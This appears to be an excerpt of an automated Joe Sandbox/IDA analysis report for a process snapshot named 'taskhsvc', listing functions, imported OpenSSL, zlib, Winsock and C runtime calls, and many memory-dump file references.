Part of subcall function 0033D6F1: CRYPTO_set_locking_callback.LIBEAY32 ref: 0033D75B
Part of subcall function 0033D6F1: CRYPTO_THREADID_set_callback.LIBEAY32 ref: 0033D767
Part of subcall function 0033D6F1: __stack_chk_fail.LIBSSP-0 ref: 0033D77C

SSLeay_version.LIBEAY32 ref: 00335EE6
strcmp.MSVCRT ref: 00335F05

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00335DD3: RAND_SSLeay.LIBEAY32 ref: 00335DE3
Part of subcall function 00335DD3: RAND_get_rand_method.LIBEAY32 ref: 00335DEB
Part of subcall function 00335DD3: RAND_set_rand_method.LIBEAY32(?,?,?,?,?,?,?,00335F89), ref: 00335E1F
Part of subcall function 00335DD3: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,00335F89), ref: 00335E3B

Part of subcall function 0033CC1C: RAND_poll.LIBEAY32 ref: 0033CC3A
Part of subcall function 0033CC1C: RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00335F8E), ref: 0033CC9E
Part of subcall function 0033CC1C: RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00335F8E), ref: 0033CCCA
Part of subcall function 0033CC1C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00335F8E), ref: 0033CCEB

Part of subcall function 00335E42: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00335F9E), ref: 00335E9A

Part of subcall function 00345F8F: __stack_chk_fail.LIBSSP-0 ref: 00345FB0

Part of subcall function 00347322: __stack_chk_fail.LIBSSP-0 ref: 00347343

__stack_chk_fail.LIBSSP-0 ref: 00335FC3

Strings

4G, xrefs: 00335F60
@EG, xrefs: 00335F68

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0033D6F1, Relevance: 6.0, APIs: 4, Instructions: 41

APIs

CRYPTO_num_locks.LIBEAY32(?,?,?,?,?,?,-00000001,?,00335ED7), ref: 0033D702

Part of subcall function 003211F6: abort.MSVCRT ref: 0032125C
Part of subcall function 003211F6: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00319B54), ref: 0032127B

Part of subcall function 00332920: __stack_chk_fail.LIBSSP-0 ref: 00332958

CRYPTO_set_locking_callback.LIBEAY32 ref: 0033D75B
CRYPTO_THREADID_set_callback.LIBEAY32 ref: 0033D767
__stack_chk_fail.LIBSSP-0 ref: 0033D77C

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001EAF67, Relevance: 3.0, APIs: 2, Instructions: 45

APIs

listen.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,001EB46A), ref: 001EAF92

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

__stack_chk_fail.LIBSSP-0 ref: 001EB00E

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003436C7, Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 411

APIs

abort.MSVCRT ref: 00343742
abort.MSVCRT ref: 00343781
abort.MSVCRT ref: 003437C0
free.MSVCRT ref: 00343D03

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 003437FF

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 003430C6: __stack_chk_fail.LIBSSP-0 ref: 00343125

inflateInit2_.ZLIB1 ref: 00343878
__stack_chk_fail.LIBSSP-0 ref: 00343D21

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

inflate.ZLIB1 ref: 0034392C
inflateEnd.ZLIB1 ref: 00343960
inflateInit2_.ZLIB1 ref: 003439C4

Part of subcall function 00343174: __stack_chk_fail.LIBSSP-0(00000000), ref: 003431C5

inflateEnd.ZLIB1 ref: 00343C1D
free.MSVCRT ref: 00343C39

Part of subcall function 00321282: abort.MSVCRT ref: 003212DB
Part of subcall function 00321282: realloc.MSVCRT ref: 003212FA
Part of subcall function 00321282: exit.MSVCRT ref: 0032133B
Part of subcall function 00321282: __stack_chk_fail.LIBSSP-0 ref: 0032134E

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

inflateEnd.ZLIB1 ref: 00343CBC
free.MSVCRT ref: 00343CD5

Strings

, xrefs: 00343A5A
<no message>, xrefs: 00343893, 003439E3, 00343BBD
dG, xrefs: 00343C4B

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DFEE4, Relevance: 28.5, APIs: 9, Strings: 7, Instructions: 533

APIs

time.MSVCRT ref: 001DFF0D
abort.MSVCRT ref: 001DFF79
abort.MSVCRT ref: 001DFFB8
abort.MSVCRT ref: 001DFFFE

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 001E0149
abort.MSVCRT ref: 001E01AD

Part of subcall function 00322B81: __stack_chk_fail.LIBSSP-0 ref: 00322BBD

abort.MSVCRT ref: 001E02B3

Part of subcall function 00277B99: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,001E02F1), ref: 00277BF5
Part of subcall function 00277B99: __stack_chk_fail.LIBSSP-0 ref: 00277CC3

Part of subcall function 0031663E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001DBB06), ref: 0031666A

Part of subcall function 001DC3A0: __stack_chk_fail.LIBSSP-0 ref: 001DC48E

Part of subcall function 0032DA95: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002564FC), ref: 0032DAE3

Part of subcall function 00211E58: __stack_chk_fail.LIBSSP-0 ref: 00211F04

Part of subcall function 00214518: __stack_chk_fail.LIBSSP-0 ref: 00214595

Part of subcall function 0032D28C: abort.MSVCRT ref: 0032D2DC
Part of subcall function 0032D28C: __stack_chk_fail.LIBSSP-0 ref: 0032D3BB

__stack_chk_fail.LIBSSP-0 ref: 001E0783

Part of subcall function 0032E04A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0032E0EC), ref: 0032E0B0

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 001DCFB4: __stack_chk_fail.LIBSSP-0 ref: 001DCFE5

Part of subcall function 0021FE5F: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0029EDC3), ref: 0021FEAF
Part of subcall function 0021FE5F: __stack_chk_fail.LIBSSP-0 ref: 0021FED8

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

time.MSVCRT ref: 001E075C

Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4826
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4871
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F48BC
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4AD9
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4B41
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4B88
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4BDA
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4D10
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4D63
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4DF6
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4E47
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4EF1
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4F37
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4F96
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4FE8
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F5076
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F50CD
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F5636
Part of subcall function 001F47D0: __stack_chk_fail.LIBSSP-0 ref: 001F565A

Part of subcall function 00214D23: time.MSVCRT ref: 00214D47
Part of subcall function 00214D23: abort.MSVCRT ref: 00214D96
Part of subcall function 00214D23: memset.MSVCRT ref: 00214DF9
Part of subcall function 00214D23: __stack_chk_fail.LIBSSP-0 ref: 0021504F

Part of subcall function 002494EF: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00272F6B), ref: 0024951B

Part of subcall function 0024926C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0023D2EF), ref: 00249352

Part of subcall function 001F5AFF: free.MSVCRT ref: 001F5C6C
Part of subcall function 001F5AFF: __stack_chk_fail.LIBSSP-0 ref: 001F5C84

Part of subcall function 0032D6AA: abort.MSVCRT ref: 0032D700
Part of subcall function 0032D6AA: abort.MSVCRT ref: 0032D73F
Part of subcall function 0032D6AA: memset.MSVCRT ref: 0032D75A
Part of subcall function 0032D6AA: __stack_chk_fail.LIBSSP-0 ref: 0032D7AA

Part of subcall function 0032D610: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0032E2A6), ref: 0032D666
Part of subcall function 0032D610: memset.MSVCRT ref: 0032D681
Part of subcall function 0032D610: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,0032E2A6), ref: 0032D6A3

Strings

a v1, xrefs: 001E0035
p=A, xrefs: 001E0659
<none>, xrefs: 001E06BD
non-versioned, xrefs: 001E002E
@NA, xrefs: 001E0739
]=A, xrefs: 001E057C
`=A, xrefs: 001E0584

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00326206, Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 228

APIs

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 00326275
fclose.MSVCRT ref: 0032628D
strerror.MSVCRT ref: 003262A6
_close.MSVCRT ref: 00326301
strerror.MSVCRT ref: 00326316
abort.MSVCRT ref: 003263BD
_unlink.MSVCRT ref: 003263D0
strerror.MSVCRT ref: 003263EE
strcmp.MSVCRT ref: 00326444
abort.MSVCRT ref: 00326481

Part of subcall function 00316761: __stack_chk_fail.LIBSSP-0 ref: 003167E8

strerror.MSVCRT ref: 003264AD

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

free.MSVCRT ref: 00326508
free.MSVCRT ref: 00326530
free.MSVCRT ref: 00326552
__stack_chk_fail.LIBSSP-0 ref: 0032656C

Strings

5, xrefs: 00326471

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
